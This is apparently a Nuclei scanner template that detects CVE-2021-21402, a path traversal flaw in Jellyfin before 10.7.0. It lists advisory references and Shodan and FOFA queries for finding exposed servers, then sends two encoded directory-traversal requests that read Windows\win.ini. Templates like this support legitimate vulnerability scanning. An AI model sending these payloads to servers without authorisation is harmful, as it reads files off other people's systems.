id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  remediation: This is fixed in version 10.7.1.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.2158
    epss-percentile: 0.95898
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query: http.html:"Jellyfin"
    fofa-query: title="Jellyfin" || body="http://jellyfin.media"
  tags: cve,cve2021,jellyfin,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"

      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200

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